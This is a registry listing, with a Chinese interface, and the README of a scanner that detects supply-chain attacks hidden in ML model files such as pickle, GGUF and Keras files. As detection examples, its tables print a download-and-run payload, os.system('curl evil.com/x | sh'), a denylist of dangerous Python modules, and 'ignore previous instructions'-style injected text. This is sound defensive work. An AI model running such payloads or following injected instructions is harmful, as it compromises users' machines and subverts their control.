Model Scanner

io.github.GuardBee由 GitHub 账号 GuardBee 发布v0.4.0更新于 Nov 3, 2026

Scans ML model files (PyTorch, joblib, NumPy, GGUF, TensorFlow…) and HF repos for supply-chain risks

发布方自己的服务:model.tools — Zero-Auth Agent Utilities

已验证STDIO仅桌面安全与监控AI 与机器学习

概览

AI 生成的概览

扫描机器学习模型文件与 Hugging Face 仓库的供应链风险,例如 pickle 中的危险全局引用,且不加载或执行文件。

可以做什么
  • 扫描单个模型文件,检查 pickle 危险全局引用、safetensors 头部异常、Keras Lambda 层、ONNX 路径穿越以及 GGUF 与 TensorFlow 图问题
  • 递归扫描目录中的模型文件,包括通过 saved_model.pb 检查 TensorFlow SavedModel
  • 扫描 Hugging Face 仓库在固定提交上的全部模型文件,结果指向该快照
  • 按风险类别列出危险全局引用清单,以及所检查的 TensorFlow 算子
适用场景
适合在加载从 Hugging Face、模型仓库或对象存储下载的检查点、模型或 GGUF 文件之前使用,也适合审查同事提供的模型产物。同样适用于希望对模型文件输出 SARIF 结果的 CI 流程。
运行要求
以 stdio 本地进程运行,通过 npx 启动 @guardbee/mcp-model-scanner npm 包,需要 Node.js。扫描 Hugging Face 仓库需要网络访问;受限或私有仓库需要 HF_TOKEN。本地文件扫描未声明任何凭据。
安装前请注意
检测结果为低误报率调优的启发式规则,扫描干净并不等于安全证明;HDF5 与 ONNX 检查基于有限前缀的模式匹配,大文件只读取部分内容。遥测默认关闭,但设置 GUARDBEE_TELEMETRY=1 后会发送工具名、耗时以及文件路径等简短参数值。它只检查文件,不执行也不隔离文件。

安装

在 SourceWeft 中

  1. 打开 控制台中的 Model Scanner,将其添加到工作区。
  2. 为需要使用其工具的对话启用该服务。

Desktop only,通过 STDIO。 STDIO 服务会启动本地进程,因此需要 SourceWeft 桌面宿主。

其他 MCP 客户端

参照 仓库 中的启动说明。

README

@guardbee/mcp-model-scanner

🇬🇧 English | 🇹🇷 Türkçe | 🇨🇳 中文 | 🇯🇵 日本語 | 🇰🇷 한국어 | 🇧🇷 Português | 🇪🇸 Español | 🇩🇪 Deutsch

[npm version] [npm downloads] [License: MIT]

An MCP (Model Context Protocol) server that scans ML model files for supply-chain risks — the file itself, not the code that loads it.

Most "AI security" tooling looks at your integration code or the prompts flowing through it. This package looks at the artifact you (or a teammate, or a pip install) downloaded from Hugging Face, a registry, or an S3 bucket — or at a Hugging Face repo directly, pinned to a commit. A .pt/.pth/.pkl/.joblib checkpoint is a pickle file, and unpickling isn't just data deserialization — it can call arbitrary Python code the moment the file is loaded (torch.load(), pickle.load(), etc). A malicious checkpoint is a real, well-documented attack vector, not a hypothetical one.

Telemetry is off by default. With GUARDBEE_TELEMETRY=1 it sends the server, tool, success, duration and short parameter values such as a file path; longer strings and fields like content, token or password are replaced with a placeholder. See @guardbee/mcp-telemetry.

Claude ──► model-scanner ──► Your model files              │              ├─ .pt / .pth / .ckpt   → PyTorch zip container: extract data.pkl, walk the pickle              ├─ .pkl / .pickle / .bin / .dill → raw pickle stream (dill gadgets included)              ├─ .joblib / .jbl       → pickle + the array bytes and nested pickles joblib embeds              ├─ .npy / .npz          → object arrays (pickled data), pickles disguised as NumPy              ├─ .safetensors         → header structure + disguised-binary check              ├─ .h5 / .hdf5 / .keras → Keras Lambda-layer RCE (HDF5 and Keras 3 zip)              ├─ .onnx                → external_data path-traversal heuristic              ├─ .gguf                → header/tensor bounds, chat-template SSTI and injected text              ├─ saved_model.pb / .pb / .pbtxt / .tflite → graph ops that touch files or Python              └─ hf://owner/repo@rev  → every model file of a Hugging Face repo at one commit

Why pickle is the core of this

Pickle streams are bytecode for a tiny stack VM. A GLOBAL/STACK_GLOBAL opcode names any importable Python object; the very next opcodes typically call it. There is nothing stopping a crafted pickle from naming os.system or subprocess.Popen instead of a tensor-rebuilding function — and pickle.load()/torch.load() will happily resolve and invoke it. This is the same technique tools like picklescan/fickling/Hugging Face's Picklescan integration are built around.

This package implements a from-scratch pickle machine (protocols 0–5) rather than shelling out to Python or using a regex. It walks the opcode stream byte by byte and tracks the stack and memo without calling anything, so a protocol 4+ STACK_GLOBAL resolves to the module and name actually on the stack, including strings fetched back from the memo, as NumPy 2 pickles do. A regex over raw bytes would both miss and misfire constantly.

joblib needs the same machine: joblib.dump writes each NumPy array's raw bytes (or, for object arrays, a whole nested pickle) right after the array's NumpyArrayWrapper. The scanner reads the wrapper's shape and dtype from the stack, skips exactly that many bytes, and checks the nested pickles too.

Every GLOBAL/STACK_GLOBAL/INST reference found is checked against:

  • a denylist of modules with no legitimate reason to appear in a tensor deserialization path (os, subprocess, socket, builtins.eval, ctypes, …) → reported as critical/high
  • an allowlist of the modules real ML frameworks actually reference (numpy, torch, sklearn, collections, …) → silently safe, no noise
  • anything else → reported as medium ("unknown", not "malicious" — for manual review, keeping the false-positive rate low)

For PyTorch's default zip-based checkpoint format, the scanner reads the ZIP central directory directly off disk (with Zip64 support) to locate and extract just the small data.pkl metadata entry — it never loads a multi-gigabyte checkpoint fully into memory.


Features

  • Real pickle parsing — a stack-tracking pickle machine, not a regex, not a Python subprocess call
  • 44 dangerous-global rules across 6 risk categories (code-execution, process-execution, network, filesystem, reflection, deserialization), including dill's code-object and import gadgets
  • PyTorch zip container support (including Zip64) — extracts and scans data.pkl without loading the full checkpoint
  • joblib — walks past embedded arrays to every pickle opcode in the file, nested object-array pickles included; zlib/gzip dumps are decompressed
  • NumPy .npy/.npz — object arrays (stored as a pickle, loaded with allow_pickle=True) and plain pickles renamed to a NumPy extension
  • .safetensors structural validation — malformed/out-of-bounds headers, and detection of a pickle/zip disguised with a .safetensors extension
  • Keras Lambda-layer RCE — in .h5, Keras 3 .keras zips and SavedModel keras_metadata.pb
  • ONNX external_data path-traversal heuristic
  • GGUF — header counts, string and array lengths, tensor dimensions, types and data bounds checked against the file; chat templates checked for Jinja sandbox escapes, hidden characters and instructions aimed at the model
  • TensorFlow — SavedModel, frozen GraphDef (.pb/.pbtxt) and TFLite Flex ops that read or write files, call Python or send tensors to a debug URL
  • Hugging Face repos — scan_hf_repo / scan hf://owner/repo@revision resolves the revision to a commit and scans every model file from it
  • Bounded reads everywhere (10MB pickle prefix, 100MB safetensors header cap, 50MB zip-entry cap, GGUF and joblib read through a 4MB window) — safe against decompression bombs and won't OOM on huge model files
  • SARIF 2.1.0 output — CI/CD integration (GitHub Code Scanning, etc.)
  • Config file support via guardbee.yml
  • 82 unit tests with malicious and benign fixtures for every format, plus a false-positive check against popular public models

Quick Start

Claude Desktop / MCP Client

json
{  "mcpServers": {    "guardbee-model-scanner": {      "command": "npx",      "args": ["-y", "@guardbee/mcp-model-scanner"]    }  }}

CLI (CI/CD)

bash
npx @guardbee/mcp-model-scanner scan ./models --fail-on=high --format=sarif > results.sarif
# A Hugging Face model repo at a pinned commit (branch, tag or sha; HF_TOKEN for gated/private repos)npx @guardbee/mcp-model-scanner scan hf://openai-community/gpt2@607a30d783dfa663caf39e06633721c8d4cfcd7e

In repo mode the revision is resolved to a commit sha and every file is read from that commit, so the result describes a fixed snapshot; findings point at hf://owner/repo@sha/path. Files up to 256 MB are downloaded whole. Larger ones are checked from their first 64 MB, plus the last 64 MB for zip containers (the central directory), which holds every header, pickle stream and tensor table the checks read.


MCP Tools

ToolDescription
scan_fileScans a single model file
scan_directoryRecursively scans a directory of model files (a SavedModel through its saved_model.pb)
scan_hf_repoScans every model file of a Hugging Face model repo at a pinned commit
list_patternsLists the dangerous-global catalog by risk category, and the TensorFlow ops checked

What it catches

FormatCheckSeverityExample
pickle / PyTorchReference to os, posix, nt, subprocess, socket, ctypes, runpy, pty.spawn, platform.popen, commandscriticalos.system('curl evil.com/x | sh')
pickle / PyTorchbuiltins.eval/exec/compile/__import__, pickle.loads, marshal.loadscriticalrecursive/nested payload, or a direct eval
pickle / PyTorchbuiltins.getattr/open, shutil.*, importlib.*, requests.*, webbrowser.open, urllib*.urlopenhighexfiltration, SSRF, file read/write
safetensorsHeader starts with a pickle/zip signature instead of a lengthcriticala .pkl renamed to .safetensors
safetensorsTensor data_offsets exceed the actual data sectionhigha parser reading out-of-bounds
safetensorsInvalid/oversized header length, non-JSON headerhighcorrupt or adversarially crafted header
Keras .h5/.keras/SavedModelclass_name: "Lambda" in the model configcriticalmarshalled-function RCE on load
ONNXexternal_data location containing ..highpath traversal to an arbitrary file
dilldill._dill._create_code/_create_function/_eval_reprcriticala function rebuilt from bytecode and called during load
dilldill._dill._import_module/_get_attr/_create_filehandlehighreaching os.system without naming os
joblibany of the pickle rules, in the main stream or a nested object-array pickleas the rulea payload hidden after a real array
NumPyobject dtype; a pickle with a .npy extensionmedium / highnp.load(..., allow_pickle=True) unpickles it
GGUFchat template reaching Python internals (__class__, __globals__, …)criticalJinja sandbox escape (CVE-2024-34359)
GGUFhidden Unicode or "ignore previous instructions"-style text in metadatahighinstructions injected into every conversation
GGUFcounts, lengths, dimensions or tensor bounds inconsistent with the filehighheap overflow in an unpatched loader
TensorFlowWriteFile / ReadFile / PyFunc / file datasets / PrintV2 to file://critical–mediuma graph that touches the serving host

Full dangerous-global catalog: run the list_patterns tool, or see src/dangerousGlobals.ts.

Rule IDs added in 0.4

Rule IDSeverity
pickle_dangerous_global_dill__dill_*, pickle_dangerous_global_dill_dill_*critical / high
joblib_partial_scan, joblib_compressed_unsupported, joblib_compressed_too_large, joblib_decompress_failed, joblib_unrecognizedlow / medium
numpy_object_arraymedium
numpy_disguised_picklehigh
numpy_bad_header, numpy_npz_unreadablemedium
numpy_npz_entry_unreadable, numpy_npz_partial_scanlow
gguf_chat_template_ssticritical
gguf_metadata_injected_instructions, gguf_metadata_hidden_characters, gguf_malformed_header, gguf_tensor_out_of_bounds, gguf_bad_magichigh
gguf_duplicate_tensor, gguf_tensor_misalignedmedium
gguf_chat_template_url, gguf_unknown_tensor_type, gguf_not_parsedlow
tf_op_writefilecritical
tf_op_readfile, tf_op_pyfunc, tf_op_pyfuncstateless, tf_op_eagerpyfunchigh
tf_op_matchingfiles, tf_op_immutableconst, tf_op_*dataset*, tf_op_printv2, tf_op_debug*medium
tf_saved_model_malformed, tflite_bad_identifier, keras_config_unreadablemedium
tf_graph_too_largelow

SARIF output keeps its shape: each rule ID becomes a rules[] entry as before.

Checked against public models

Scanned with scan hf://… on 2026-10-30. Every finding on these repos is listed; none is a false positive. The low "partial scan" notes come from files larger than the 10 MB prefix the pickle, H5 and ONNX checks read.

Repo @ commitFormatsFindings
openai-community/gpt2@607a30dPyTorch (legacy pickle), safetensors, H5, ONNX, TFLite5 low partial-scan notes
google-bert/bert-base-uncased@86b5e09PyTorch, safetensors, H5, ONNX3 low partial-scan notes
sentence-transformers/all-MiniLM-L6-v2@1110a24PyTorch, safetensors, H5, 9 ONNX variants10 low partial-scan notes
Qwen/Qwen2.5-0.5B-Instruct-GGUF@9217f5dGGUF (9 quantizations incl. fp16, K-quants)none
bartowski/Llama-3.2-1B-Instruct-GGUF@067b946GGUF (18 quantizations incl. IQ types)3 low notes: tensor types 31–33, removed from ggml
microsoft/Phi-3-mini-4k-instruct-gguf@a641133GGUFnone
keras-io/ocr-for-captcha@1d695c4SavedModel + keras_metadata.pbnone
keras-io/timeseries-anomaly-detection@5712601SavedModel; profiler .pb files skipped as non-graphsnone
suno/bark-small@1dbd7a1PyTorch, 783 .npy speaker promptsnone
julien-c/wine-quality@90ef3b7scikit-learn joblibnone
mcpotato/42-eicar-street@8fb61c4Hugging Face's malicious-pickle test repomodel_broken_X.pkl: critical builtins.exec (the only payload with a model extension)

These are heuristic findings tuned for a low false-positive rate — HDF5 and ONNX in particular are complex binary/protobuf formats scanned via a bounded text-pattern search rather than a full structural parse. Every finding should still be reviewed; a clean scan is not a formal safety proof.


Configuration (guardbee.yml)

yaml
model-scanner:  fail-on: high       # any | critical | high | medium | low | none  max-files: 2000  exclude:    - "fixtures/"

Limitations (by design)

  • Only the first 10MB of a raw (non-zip) pickle stream is scanned (joblib files are walked to the end) — dangerous globals must be referenced before their instances in a pickle stream, so this bound is a reasonable trade-off against loading huge legacy checkpoints fully into memory.
  • ZIP extraction supports STORED and DEFLATE only (covers the default PyTorch checkpoint format).
  • HDF5/ONNX checks are pattern-based on a bounded prefix, not a full structural/protobuf parse.
  • joblib files compressed with bz2, xz, lzma or lz4 are reported, not decompressed. GGUF v1 and big-endian GGUF files are reported, not parsed.
  • TFLite checks look for Flex delegate op names; builtin TFLite ops are tensor math only.
  • GGUF instruction checks look for common injection phrasing and hidden characters; a carefully worded instruction can still pass. Read the chat template of a model you did not build.
  • This scans the file, not runtime behavior — it does not execute or sandbox anything.

Development

bash
npm run buildnpm test             # 82 unit tests

License

MIT — GuardBee

Feedback

Questions, ideas, or a false positive? Start a thread in GitHub Discussions or open an issue. If GuardBee is useful to you, a ⭐ on the repository helps others find it.

来源:packages/model-scanner/README.md,提交 b3f6bda

工具

4

scan_file

Scan a single ML model file for supply-chain risks: dangerous Python globals reachable during pickle deserialization (os/subprocess/eval/socket/dill gadgets, inside PyTorch zip checkpoints, joblib dumps and NumPy object arrays too), a malformed or disguised .safetensors header, a Keras Lambda-layer RCE pattern in .h5/.keras files, a path-traversal external_data reference in .onnx files, malformed GGUF headers and chat templates that escape the Jinja sandbox or carry hidden instructions, and TensorFlow SavedModel/GraphDef/TFLite graphs that read or write files or call Python.

输入参数path必填

scan_directory

Recursively scan a directory for ML model files (.pt, .pth, .ckpt, .pkl, .pickle, .bin, .dill, .joblib, .jbl, .npy, .npz, .safetensors, .h5, .hdf5, .keras, .onnx, .gguf, .pb, .pbtxt, .tflite; a TensorFlow SavedModel directory through its saved_model.pb) and report supply-chain risks in each. Automatically skips node_modules, .git, venv, and other non-model directories.

输入参数path必填excludeincludemaxFiles

scan_hf_repo

Scan every model file in a Hugging Face model repo at a pinned commit. The revision (branch, tag or commit sha, default main) is resolved to a commit sha and all files are read from it. Files over 256 MB are checked from their first 64 MB (and last 64 MB for zip containers), which hold the headers and pickle streams the checks read. Gated or private repos need HF_TOKEN in the server's environment.

输入参数repo必填maxFilesrevision

list_patterns

List every dangerous Python global (module.function) this scanner treats as a red flag when found referenced inside a pickled model file, grouped by risk category

无需输入参数。

版本历史

3
  1. v0.4.0最新Oct 30, 2026
  2. v0.2.2Oct 22, 2026
  3. v0.1.3Oct 13, 2026

评分

已满足适用检查项的 90%

该评分衡量此收录条目的完整程度,依据注册中心条目、端点与公开来源计算得出。它不是对服务器本身的评价,也不表示服务器安全或当前可用:可连通性是带日期的检查结果,评分也不包含安装量或用户评价。

  • 近 30 天内可连通25 分
  • 已声明认证方式10 分

    请在注册中心条目中声明凭据请求头,或保持端点能够响应探测,以便判定其认证方式。

  • 已列出工具必需15 分
  • 描述必需15 分
  • 图标10 分
  • 文档15 分
  • 许可证10 分

其他 Model 集成